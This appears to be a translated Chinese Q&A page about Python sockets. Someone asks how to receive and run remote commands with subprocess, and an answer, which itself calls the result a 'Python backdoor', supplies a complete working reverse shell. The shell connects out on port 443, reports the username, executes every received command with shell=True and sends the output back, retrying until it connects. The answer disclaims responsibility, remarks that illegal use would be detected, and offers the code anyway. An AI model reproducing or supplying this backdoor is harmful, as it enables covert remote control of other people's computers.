如何使用子进程从客户端执行cmd命令

时间:2015-10-08 20:06:22

标签: python sockets network-programming

如何使用子进程模块接收和执行命令。我想从远程计算机接收缓冲区并自行执行。

import socket,subprocess

HOST = ''    
PORT = 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.send('[*] Connection Established!')

while 1:

     data = s.recv(1024)

     if data == "quit": break

     proc = subprocess.Popen(cmd.exe, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

     stdout_value =proc.communicate('dir c:\\')

     s.send(stdout_value)

s.close()

1 个答案:

答案 0 :(得分:0)

我不知道你将使用它,但如果它是非法的,你肯定会被捕获,因为python后门非常容易检测并打包它作为exe将具有相当大的尺寸。

无论如何,我不对你用这个做什么负责,但是你去了

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()